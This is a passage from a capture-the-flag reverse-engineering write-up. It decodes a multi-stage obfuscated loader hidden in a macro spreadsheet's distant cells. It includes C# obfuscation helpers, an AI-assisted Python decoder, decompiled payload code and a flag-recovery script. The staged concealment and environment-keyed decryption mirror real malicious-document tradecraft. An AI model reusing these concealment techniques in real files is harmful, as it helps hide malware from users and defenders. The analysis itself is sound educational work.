            return sha.ComputeHash(Encoding.UTF8.GetBytes(password));
    }

    public static string OjLTiE(string input) {
        byte[] b = Encoding.UTF8.GetBytes(input);
        uint k = 0xDEADF00Du;
        uint v = 0xCAFEBEEFu;
        var sb = new StringBuilder();
        for (int i = 0; i < b.Length; i += 4) {
            uint blk = 0u;
            for (int j = 0; j < 4 && (i + j) < b.Length; j++)
                blk |= (uint)b[i + j] << (j * 8);
            blk ^= v;
            blk += k;
            blk  = (blk << 11) | (blk >> 21);
            v    = blk;
            sb.Append(blk.ToString("X8"));
        }
        return sb.ToString();
    }

    private static uint _seed = 0;
    private static byte Ror8(byte b, int n) { return (byte)((b >> n) | (b << (8 - n))); }
    private static byte Rol8(byte b, int n) { return (byte)((b << n) | (b >> (8 - n))); }

    public static string LsXxaQ(string input, uint seed) {
        _seed = seed;
        var sb = new StringBuilder();
        unchecked {
            foreach (char c in input) {
                byte b = Ror8((byte)c, 3);
                b ^= (byte)(_seed & 0xFFu);
                b = Rol8(b, 5);
                sb.Append(b.ToString("X2"));
                _seed = _seed * 0x6C078965u + 0x12345678u;
            }
        }
        return sb.ToString();
    }

    public static string Pia2wRPUo4iX(string input, uint seed) {
        unchecked { _seed ^= seed; }
        var sb = new StringBuilder();
        unchecked {
            foreach (char c in input) {
                byte b = Rol8((byte)c, 5);
                b ^= (byte)(_seed & 0xFFu);
                b = Ror8(b, 3);
                sb.Append(b.ToString("X2"));
                _seed = _seed * 0x6C078965u + 0x12345678u;
            }
        }
        return sb.ToString();
    }

    public static byte[] HUzqMxVCPuxJ(string base64Ciphertext, string password) {
        using (Aes aes = Aes.Create()) {
            aes.Key     = GQObhG(password);
            aes.IV      = new byte[16];
            aes.Mode    = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            byte[] cipher = Convert.FromBase64String(base64Ciphertext);
            return aes.CreateDecryptor().TransformFinalBlock(cipher, 0, cipher.Length);
        }
    }
}

and by this time i was confused and do not know what to do, so i asked Claude to further analyze using these information that i got

and Claude manage to decrypt further and got the payload.exe with this fully crafted script

#!/usr/bin/env python3
import sys
import re
import base64
import hashlib
import zipfile
import xml.etree.ElementTree as ET
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def load_cells(xlsm_path):
    ns = '{http://schemas.openxmlformats.org/spreadsheetml/2006/main}'
    with zipfile.ZipFile(xlsm_path) as z:
        ss_root = ET.fromstring(z.read('xl/sharedStrings.xml'))
        shared = [
            ''.join(t.text or '' for t in si.iter(f'{ns}t'))
            for si in ss_root.findall(f'{ns}si')
        ]
        sheet2 = ET.fromstring(z.read('xl/worksheets/sheet2.xml'))

    cells = {}
    for c in sheet2.iter(f'{ns}c'):
        ref = c.get('r')
        t   = c.get('t', 'n')
        v   = c.find(f'{ns}v')
        if v is None:
            continue
        val = v.text
        if t == 's':
            val = shared[int(val)]
        cells[ref] = val
    return cells

def aes_decrypt(b64_ct, password: str) -> bytes:
    key = hashlib.sha256(password.encode()).digest()
    ct  = base64.b64decode(b64_ct)
    return unpad(AES.new(key, AES.MODE_CBC, b'\x00' * 16).decrypt(ct), 16)

def decode_ps_fragments(ps_text, array_var):
    raw   = ps_text.split(f'{array_var} = @(', 1)[1].split(')', 1)[0] + ')'
    frags = re.findall(r'"([^"]*)"', raw)
    return base64.b64decode(''.join(frags)).decode('utf-16-le')

def main():
    xlsm = Path(sys.argv[1]) if len(sys.argv) > 1 else Path('Game.xlsm')
    if not xlsm.exists():
        sys.exit(f'[!] File not found: {xlsm}')

    print(f'[*] Loading cells from {xlsm}')
    cells = load_cells(xlsm)

    # Stage 1: decode EncodedCommand from XFD1048568-70
    print('[*] Decoding Stage 1 (EncodedCommand)')
    b64_s1 = re.sub(r'\s+', '', cells['XFD1048568'] + cells['XFD1048569'] + cells['XFD1048570'])
    ps1    = base64.b64decode(b64_s1).decode('utf-16-le')

    # Stage 2: reassemble fragment array inside Stage 1
    print('[*] Decoding Stage 2')
    ps2 = decode_ps_fragments(ps1, '$Sd886')

    # Stage 3: AES-decrypt XFD1048573 with key from XFD1048572
    print('[*] Decoding Stage 3')
    key_s3 = cells['XFD1048572']                    # "FB11FE0C146FAC"
    ps3    = aes_decrypt(cells['XFD1048573'], key_s3).decode('utf-8')

    # Stage 4: reassemble fragment array inside Stage 3
    print('[*] Decoding Stage 4')
    ps4 = decode_ps_fragments(ps3, '$HSl5')

    # Stage 4 decrypts XFD1048574 with key = USERNAME = "Fischer"
    print('[*] Decoding Stage 5')
    ps5_raw = aes_decrypt(cells['XFD1048574'], 'Fischer')
    ps5     = ps5_raw.decode('utf-8')

    # Stage 5 reassembles one more fragment array
    print('[*] Decoding Stage 6')
    ps6 = decode_ps_fragments(ps5, '$GWVHdF')

    # Stage 6 tells us: concat XFD1048560-63, AES-decrypt with COMPUTERNAME = "WORK-PC"
    print('[*] Extracting payload.exe (AES key = SHA256("WORK-PC"))')
    b64_payload = (
        cells['XFD1048560'] +
        cells['XFD1048561'] +
        cells['XFD1048562'] +
        cells['XFD1048563']
    )
    payload = aes_decrypt(b64_payload, 'WORK-PC')

    out = Path('payload.exe')
    out.write_bytes(payload)
    print(f'[+] Saved {out} ({len(payload)} bytes)')

    magic = payload[:2]
    if magic == b'MZ':
        print('[+] Valid PE/MZ header confirmed')
    else:
        print(f'[!] Unexpected magic: {magic.hex()}')

if __name__ == '__main__':
    main()

and then i got the payload.exe, and i tried using ghidra on it but couldnt get any, so i use ilspycmd and got this

ilspycmd payload.exe 
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
using Microsoft.Win32;

[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: AssemblyVersion("0.0.0.0")]
public class nksCTGRr
{
        private static readonly byte[] aP2xIVo = new byte[36]
        {
                155, 67, 171, 155, 105, 111, 24, 211, 221, 55,
                172, 234, 225, 96, 16, 133, 21, 200, 143, 43,
                232, 226, 75, 98, 34, 19, 128, 215, 122, 185,
                124, 75, 182, 252, 202, 118
        };

        private static readonly byte[] MbHGdJbBp96 = new byte[1946]
        {
                149, 212, 194, 243, 113, 110, 246, 158, 220, 68,
                76, 121, 117, 108, 232, 6, 156, 4, 12, 237,
                252, 228, 108, 113, 84, 194, 204, 244, 188, 100,
                154, 146, 100, 132, 140, 180, 125, 23, 190, 211,
                158, 68, 226, 186, 32, 205, 172, 84, 156, 0,
                107, 117, 177, 165, 108, 20, 237, 75, 199, 8,
                221, 161, 44, 212, 28, 141, 252, 252, 37, 23,
                236, 148, 210, 135, 76, 116, 50, 231, 173, 147,
                243, 172, 104, 52, 252, 227, 67, 93, 24, 133,
                152, 140, 226, 73, 246, 21, 119, 151, 215, 175,
                122, 148, 139, 122, 226, 241, 166, 66, 110, 108,
                188, 208, 178, 33, 137, 178, 94, 10, 74, 181,
                103, 65, 254, 245, 139, 121, 104, 230, 78, 244,
                27, 132, 207, 209, 141, 242, 63, 226, 172, 28,
                11, 46, 186, 103, 148, 38, 4, 166, 152, 65,
                247, 192, 25, 44, 134, 254, 185, 205, 109, 70,
                129, 12, 168, 73, 127, 170, 177, 232, 65, 183,
                41, 210, 213, 73, 3, 131, 107, 126, 55, 10,
                195, 204, 180, 103, 146, 72, 245, 133, 34, 61,
                219, 72, 205, 212, 198, 157, 108, 245, 116, 171,
                78, 73, 8, 128, 79, 21, 200, 16, 94, 28,
                62, 22, 157, 232, 117, 133, 108, 66, 64, 188,
                164, 231, 106, 240, 144, 165, 175, 166, 186, 244,
                253, 157, 191, 140, 196, 240, 13, 64, 232, 150,
                132, 54, 46, 85, 240, 253, 253, 36, 218, 72,
                132, 236, 255, 226, 8, 88, 61, 167, 158, 114,
                236, 117, 229, 247, 20, 204, 200, 69, 88, 96,
                110, 76, 174, 38, 109, 56, 229, 117, 92, 146,
                208, 140, 212, 183, 250, 128, 160, 245, 63, 150,
                74, 36, 109, 109, 143, 92, 84, 192, 125, 16,
                120, 230, 180, 102, 190, 101, 0, 45, 109, 212,
                234, 152, 20, 220, 143, 178, 152, 40, 13, 247,
                14, 66, 28, 165, 117, 7, 36, 28, 88, 117,
                40, 48, 254, 60, 158, 118, 253, 8, 21, 165,
                204, 98, 224, 92, 68, 135, 138, 208, 48, 133,
                15, 198, 218, 20, 157, 189, 31, 172, 100, 16,
                237, 32, 8, 182, 36, 22, 142, 53, 53, 14,
                149, 219, 7, 212, 96, 23, 135, 31, 23, 61,
                18, 187, 154, 105, 161, 137, 79, 132, 156, 159,
                146, 38, 151, 119, 64, 119, 153, 118, 133, 141,
                208, 87, 0, 179, 191, 0, 159, 109, 40, 254,
                81, 144, 235, 206, 137, 254, 120, 227, 185, 170,
                243, 117, 106, 181, 150, 225, 158, 43, 186, 195,
                235, 33, 166, 25, 232, 199, 133, 252, 234, 149,
                197, 93, 213, 44, 10, 41, 221, 172, 128, 152,
                122, 255, 232, 46, 73, 11, 174, 103, 150, 169,
                225, 225, 110, 150, 30, 154, 175, 223, 70, 131,
                246, 119, 106, 95, 73, 157, 38, 140, 187, 31,
                196, 89, 81, 249, 10, 195, 62, 251, 203, 118,
                151, 194, 173, 233, 202, 5, 53, 80, 220, 217,
                138, 119, 177, 235, 4, 99, 31, 181, 5, 248,
                234, 49, 215, 19, 109, 205, 98, 138, 50, 41,
                87, 100, 68, 164, 84, 16, 62, 23, 99, 113,
                109, 44, 2, 112, 85, 27, 219, 135, 224, 218,
                146, 70, 247, 99, 115, 254, 2, 121, 26, 151,
                32, 163, 240, 139, 191, 116, 60, 11, 243, 234,
                208, 114, 169, 167, 182, 245, 163, 231, 72, 196,
                25, 31, 73, 54, 113, 142, 50, 19, 223, 58,
                159, 204, 182, 57, 122, 68, 100, 187, 207, 182,
                239, 54, 230, 185, 210, 157, 31, 228, 68, 199,
                104, 81, 158, 190, 37, 2, 133, 212, 180, 85,
                228, 16, 135, 111, 105, 22, 38, 145, 19, 129,
                84, 16, 254, 237, 192, 74, 13, 12, 9, 223,
                86, 217, 207, 227, 131, 224, 188, 113, 66, 99,
                105, 95, 83, 41, 159, 128, 155, 2, 170, 237,
                48, 230, 129, 95, 91, 26, 11, 111, 7, 63,
                247, 85, 222, 112, 35, 187, 211, 31, 87, 79,
                180, 79, 135, 15, 145, 167, 165, 185, 49, 65,
                249, 17, 114, 235, 251, 242, 122, 2, 48, 123,
                48, 42, 63, 82, 129, 76, 197, 240, 101, 39,
                85, 228, 5, 81, 133, 29, 21, 236, 7, 66,
                127, 69, 163, 114, 64, 119, 146, 207, 70, 167,
                216, 187, 147, 18, 166, 151, 234, 117, 36, 168,
                178, 90, 87, 198, 74, 178, 26, 2, 237, 248,
                81, 43, 111, 180, 28, 147, 227, 43, 221, 28,
                226, 248, 129, 141, 53, 19, 115, 203, 249, 94,
                148, 35, 63, 132, 225, 243, 187, 77, 115, 90,
                48, 101, 1, 245, 215, 227, 50, 68, 11, 31,
                228, 204, 48, 5, 165, 109, 20, 50, 214, 113,
                166, 165, 147, 48, 119, 188, 217, 108, 238, 228,
                88, 49, 214, 49, 159, 92, 4, 99, 39, 60,
                180, 132, 93, 86, 100, 221, 202, 83, 91, 229,
                17, 146, 141, 44, 82, 110, 25, 30, 13, 86,
                230, 35, 97, 128, 205, 180, 183, 214, 12, 46,
                242, 50, 58, 2, 94, 217, 61, 100, 144, 229,
                247, 10, 214, 113, 102, 238, 161, 250, 250, 195,
                139, 199, 209, 25, 122, 151, 180, 158, 225, 110,
                105, 150, 70, 137, 170, 237, 235, 12, 35, 74,
                161, 70, 185, 110, 121, 129, 53, 252, 171, 63,
                148, 168, 224, 96, 226, 26, 18, 216, 91, 49,
                25, 61, 228, 22, 220, 233, 26, 63, 179, 59,
                162, 211, 244, 48, 22, 14, 116, 119, 206, 198,
                51, 191, 183, 239, 34, 67, 237, 165, 0, 128,
                205, 52, 233, 241, 249, 169, 58, 164, 172, 116,
                39, 63, 183, 100, 209, 23, 27, 26, 160, 108,
                113, 43, 145, 188, 240, 50, 94, 70, 14, 212,
                188, 89, 226, 119, 143, 88, 104, 245, 196, 127,
                171, 144, 113, 3, 89, 198, 19, 178, 255, 88,
                166, 93, 20, 70, 69, 215, 65, 105, 144, 167,
                143, 6, 172, 210, 39, 93, 202, 18, 87, 137,
                199, 67, 12, 145, 78, 29, 113, 107, 134, 137,
                170, 162, 194, 181, 181, 28, 28, 209, 198, 241,
                137, 188, 32, 160, 67, 246, 240, 70, 147, 92,
                37, 32, 37, 1, 105, 20, 104, 186, 162, 82,
                159, 1, 76, 109, 106, 65, 171, 76, 202, 97,
                243, 135, 78, 184, 255, 158, 163, 44, 24, 170,
                241, 34, 191, 95, 3, 236, 33, 166, 216, 93,
                15, 187, 77, 117, 16, 233, 35, 142, 217, 118,
                175, 183, 208, 179, 189, 244, 129, 130, 87, 51,
                41, 225, 86, 251, 136, 7, 242, 25, 246, 224,
                80, 30, 125, 243, 211, 155, 12, 52, 203, 138,
                176, 196, 49, 87, 187, 10, 84, 237, 79, 78,
                250, 80, 114, 253, 45, 189, 52, 127, 41, 244,
                251, 195, 187, 255, 27, 59, 187, 131, 100, 19,
                97, 7, 64, 186, 2, 121, 198, 184, 32, 135,
                183, 25, 30, 132, 50, 203, 131, 106, 240, 1,
                179, 37, 84, 22, 65, 89, 209, 182, 52, 251,
                247, 196, 29, 231, 108, 180, 4, 232, 38, 66,
                123, 43, 51, 203, 55, 253, 115, 122, 27, 72,
                250, 31, 108, 104, 71, 185, 90, 55, 85, 40,
                130, 178, 97, 87, 138, 146, 122, 225, 38, 153,
                67, 93, 107, 79, 228, 176, 46, 44, 216, 158,
                205, 7, 63, 188, 41, 101, 183, 101, 143, 151,
                31, 157, 58, 156, 135, 35, 211, 194, 247, 90,
                8, 232, 218, 69, 10, 18, 170, 170, 163, 251,
                106, 198, 140, 3, 150, 100, 60, 69, 126, 237,
                48, 154, 208, 173, 158, 219, 251, 197, 2, 25,
                23, 20, 156, 18, 26, 226, 126, 148, 96, 218,
                35, 23, 228, 74, 3, 209, 42, 254, 105, 30,
                36, 195, 231, 148, 128, 95, 65, 106, 27, 209,
                142, 253, 218, 121, 183, 58, 183, 3, 82, 165,
                44, 210, 159, 69, 72, 229, 149, 160, 124, 217,
                132, 30, 22, 118, 60, 152, 209, 175, 202, 179,
                65, 106, 180, 23, 159, 231, 148, 160, 254, 69,
                55, 151, 85, 117, 249, 119, 117, 215, 11, 153,
                111, 23, 223, 68, 116, 167, 70, 194, 203, 191,
                107, 255, 52, 8, 192, 160, 207, 197, 28, 103,
                29, 36, 215, 104, 12, 220, 236, 120, 117, 199,
                160, 222, 153, 159, 68, 156, 252, 180, 237, 79,
                162, 151, 172, 138, 193, 25, 206, 9, 244, 195,
                243, 155, 207, 179, 139, 49, 196, 201, 248, 17,
                167, 227, 204, 218, 82, 26, 33, 185, 49, 96,
                54, 33, 168, 21, 60, 195, 139, 85, 116, 134,
                221, 188, 195, 120, 165, 50, 44, 233, 180, 75,
                131, 83, 155, 55, 151, 222, 28, 233, 195, 179,
                163, 171, 179, 169, 245, 15, 199, 199, 205, 245,
                253, 206, 249, 30, 32, 27, 67, 217, 90, 165,
                140, 142, 177, 102, 124, 68, 44, 219, 4, 34,
                177, 95, 45, 108, 254, 16, 97, 11, 238, 69,
                37, 145, 158, 219, 189, 47, 246, 154, 99, 115,
                242, 3, 175, 49, 249, 225, 232, 134, 101, 200,
                64, 56, 28, 179, 49, 204, 146, 143, 155, 34,
                14, 51, 135, 124, 14, 252, 183, 162, 141, 43,
                59, 1, 114, 65, 254, 6, 14, 62, 81, 154,
                42, 51, 187, 69, 53, 48, 92, 242, 29, 210,
                90, 162, 12, 207, 233, 166, 91, 30, 65, 36,
                56, 205, 3, 106, 129, 39, 69, 78, 116, 178,
                23, 108, 160, 184, 104, 241, 133, 245, 178, 14,
                129, 170, 246, 249, 58, 211, 53, 227, 83, 187,
                227, 249, 200, 17, 39, 129, 196, 58, 171, 27,
                131, 187, 47, 101, 20, 4, 135, 255, 215, 241,
                22, 121, 147, 122, 17, 222, 1, 227, 179, 22,
                103, 41, 142, 247, 155, 75, 228, 226, 55, 204,
                24, 206, 196, 92, 84, 244, 209, 50, 47, 71,
                123, 11, 223, 55, 137, 204, 52, 63, 75, 170,
                229, 13, 198, 106, 207, 195, 0, 29, 160, 226,
                1, 250, 35, 212, 76, 170, 27, 229, 213, 48,
                92, 40, 96, 88, 231, 100, 66, 15, 101, 201,
                12, 251, 54, 40, 17, 60, 73, 107, 206, 127,
                183, 19, 233, 214, 114, 189, 135, 27, 22, 108,
                237, 89, 129, 163, 233, 105, 64, 129, 131, 91,
                116, 39, 127, 160, 243, 142, 207, 211, 91, 99,
                176, 109, 191, 234, 25, 217, 82, 236, 70, 119,
                137, 245, 252, 165, 140, 100, 151, 14, 164, 11,
                231, 157, 167, 77, 1, 107, 207, 213, 236, 211,
                3, 202, 152, 79, 219, 219, 222, 11, 33, 6,
                144, 165, 175, 166, 186, 233, 227, 182, 189, 72,
                85, 229, 12, 162, 32, 28, 132, 71, 74, 16,
                112, 197, 79, 6, 154, 84, 221, 253, 223, 108,
                164, 80, 45, 224, 200, 118, 100, 86, 206, 245,
                208, 93, 221, 68, 186, 168, 228, 76, 223, 66,
                40, 184, 221, 199, 126, 210, 204, 213, 197, 151,
                116, 44, 168, 229, 120, 192, 78, 172, 78, 70,
                141, 152, 197, 213, 124, 242, 176, 108, 180, 23,
                218, 32, 128, 21, 223, 246, 170, 132, 77, 205,
                175, 60, 52, 32, 29, 176, 88, 70, 148, 134,
                94, 5, 224, 141, 77, 116, 202, 248, 116, 60,
                239, 18, 184, 136, 45, 23, 238, 34, 252, 5,
                85, 167, 4, 124, 56, 149, 72, 144, 222, 156,
                190, 150, 29, 104, 245, 5, 236, 194, 192, 60,
                36, 103, 234, 112, 16, 37, 47, 38, 58, 116,
                125, 29, 63, 12, 68, 112, 141, 192, 104, 22,
                4, 182, 174, 213, 3, 102, 6, 138, 136, 122,
                100, 171, 175, 221, 172, 84, 156, 4, 69, 113,
                178, 160, 194, 86, 60, 70
        };

        private const byte kkFH = 66;

        private static readonly string uuTcPVOB = E4JFL(new byte[7] { 1, 0, 1, 112, 114, 112, 116 });

        private static string E4JFL(byte[] ab)
        {
                char[] array = new char[ab.Length];
                for (int i = 0; i < ab.Length; i++)
                {
                        array[i] = (char)(ab[i] ^ 0x42u);
                }
                return new string(array);
        }

        public static void emcbDe4wAa()
        {
                string machineName = Environment.MachineName;
                string userName = Environment.UserName;
                byte[] bytes = Encoding.UTF8.GetBytes(machineName);
                byte[] bytes2 = Encoding.UTF8.GetBytes(userName);
                if (bytes.Length < 4 || bytes2.Length < 4)
                {
                        return;
                }
                uint lWC = (uint)(bytes[0] | (bytes[1] << 8) | (bytes[2] << 16) | (bytes[3] << 24));
                uint jD = (uint)(bytes2[0] | (bytes2[1] << 8) | (bytes2[2] << 16) | (bytes2[3] << 24));
                object value;
                using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default))
                {
                        using RegistryKey registryKey2 = registryKey.OpenSubKey(E4JFL(new byte[21]
                        {
                                17, 13, 4, 22, 21, 3, 16, 7, 30, 1,
                                22, 4, 1, 42, 35, 46, 46, 39, 44, 37,
                                39
                        }));
                        if (registryKey2 == null)
                        {
                                return;
                        }
                        value = registryKey2.GetValue(E4JFL(new byte[9] { 4, 46, 35, 37, 18, 35, 48, 54, 115 }));
                }
                if (value != null)
                {
                        string text = value.ToString();
                        string s = machineName + ":" + userName + ":" + uuTcPVOB + ":" + text;
                        byte[] xRFJ = REcPQ3X(Encoding.UTF8.GetBytes(s), lWC, jD);
                        if (xSVe3t0nj(xRFJ, aP2xIVo))
                        {
                                byte[] array = REcPQ3X(Encoding.UTF8.GetBytes(text), lWC, jD);
                                uint c = (uint)(array[0] | (array[1] << 8) | (array[2] << 16) | (array[3] << 24));
                                byte[] array2 = (byte[])MbHGdJbBp96.Clone();
                                fsGiWrV(array2, c);
                                string path = Path.Combine(Path.GetTempPath(), E4JFL(new byte[8] { 36, 46, 35, 37, 108, 50, 44, 37 }));
                                File.WriteAllBytes(path, array2);
                        }
                }
        }

        private static byte[] REcPQ3X(byte[] ab, uint lWC, uint JD)
        {
                int num = (ab.Length + 3) & -4;
                byte[] array = new byte[num];
                for (int i = 0; i < num; i += 4)
                {
                        uint num2 = 0u;
                        for (int j = 0; j < 4; j++)
                        {
                                num2 |= (uint)(((i + j < ab.Length) ? ab[i + j] : 0) << j * 8);
                        }
                        num2 ^= JD;
                        num2 = (num2 + lWC) & 0xFFFFFFFFu;
                        num2 = (num2 << 11) | (num2 >> 21);
                        JD = num2;
                        array[i] = (byte)num2;
                        array[i + 1] = (byte)(num2 >> 8);
                        array[i + 2] = (byte)(num2 >> 16);
                        array[i + 3] = (byte)(num2 >> 24);
                }
                return array;
        }

        private static void fsGiWrV(byte[] _q, uint c586)
        {
                uint num = c586;
                for (int i = 0; i < _q.Length; i++)
                {
                        _q[i] ^= (byte)(num & 0xFF);
                        num = num * 1812433253 + 305419896;
                }
        }

        private static bool xSVe3t0nj(byte[] XRFJ, byte[] ab)
        {
                if (XRFJ.Length != ab.Length)
                {
                        return false;
                }
                for (int i = 0; i < XRFJ.Length; i++)
                {
                        if (XRFJ[i] != ab[i])
                        {
                                return false;
                        }
                }
                return true;
        }
}

with more clear c# code now i can know what’s happening, so apparently there are 2 flags which represented by the 2 long blobs,

value = registryKey2.GetValue(E4JFL(new byte[9] { 4,46,35,37,18,35,48,54,115 }));

this decode to FlagPart1

string path = Path.Combine(Path.GetTempPath(), E4JFL(new byte[8] { 36, 46, 35, 37, 108, 50, 44, 37 }));

this decode to flag.png, from this analysis i got the bigger picture of the final flag, and got the

final flag retrieval script

import struct
import dnfile

def E4JFL(data):
    return ''.join(chr(b ^ 0x42) for b in data)

def REcPQ3X(data, lWC, jD):
    n = (len(data) + 3) & ~3
    out = bytearray(n)
    for i in range(0, n, 4):
        block = int.from_bytes(data[i:i+4].ljust(4, b'\x00'), 'little')
        block = (((block ^ jD) + lWC) & 0xFFFFFFFF)
        block = ((block << 11) | (block >> 21)) & 0xFFFFFFFF
        jD    = block
        out[i:i+4] = block.to_bytes(4, 'little')
    return bytes(out)

def fsGiWrV(data, seed):
    out = bytearray(data)
    for i in range(len(out)):
        out[i] ^= seed & 0xFF
        seed = (seed * 1812433253 + 305419896) & 0xFFFFFFFF
    return bytes(out)

# Pull encrypted PNG directly from PE
pe       = dnfile.dnPE('payload.exe')
pe.parse_data_directories()
ofs      = pe.get_offset_from_rva(0x4058)
blob     = bytes(pe.__data__[ofs:ofs+1946])

# Decode strings
constant = E4JFL([1,0,1,112,114,112,116])
print("Constant:", constant)

# Known values
target = bytes([
    155,67,171,155,105,111,24,211,221,55,
    172,234,225,96,16,133,21,200,143,43,
    232,226,75,98,34,19,128,215,122,185,
    124,75,182,252,202,118
])

prefix = f"WORK-PC:Fischer:{constant}:".encode()
lWC    = struct.unpack('<I', b"WORK")[0]
jD     = struct.unpack('<I', b"Fisc")[0]

# Forward simulate prefix blocks
prefix_padded = prefix + b'\x00' * ((-len(prefix)) % 4)
for i in range(0, len(prefix_padded), 4):
    block = struct.unpack('<I', prefix_padded[i:i+4])[0]
    block = (((block ^ jD) + lWC) & 0xFFFFFFFF)
    block = ((block << 11) | (block >> 21)) & 0xFFFFFFFF
    jD    = block

# Invert remaining blocks to get FlagPart1
prefix_blocks = len(prefix_padded) // 4
recovered = b""
for i in range(prefix_blocks, len(target) // 4):
    out_block = struct.unpack('<I', target[i*4:(i+1)*4])[0]
    b  = ((out_block >> 11) | (out_block << 21)) & 0xFFFFFFFF
    pt = ((b - lWC) & 0xFFFFFFFF) ^ jD
    recovered += struct.pack('<I', pt)
    jD = out_block

text = recovered.rstrip(b'\x00').decode()
print("FlagPart1:", text)

# Decrypt PNG
lWC   = struct.unpack('<I', b"WORK")[0]
jD    = struct.unpack('<I', b"Fisc")[0]
array = REcPQ3X(text.encode(), lWC, jD)
c     = struct.unpack('<I', array[:4])[0]

decrypted = fsGiWrV(blob, c)
open('flag.png', 'wb').write(decrypted)
print("Saved flag.png —", "PNG OK" if decrypted[:4] == b'\x89PNG' else "check output")

image.png


Hope you enjoy this writeup, forgive me if there are any writing errors or unclear contexts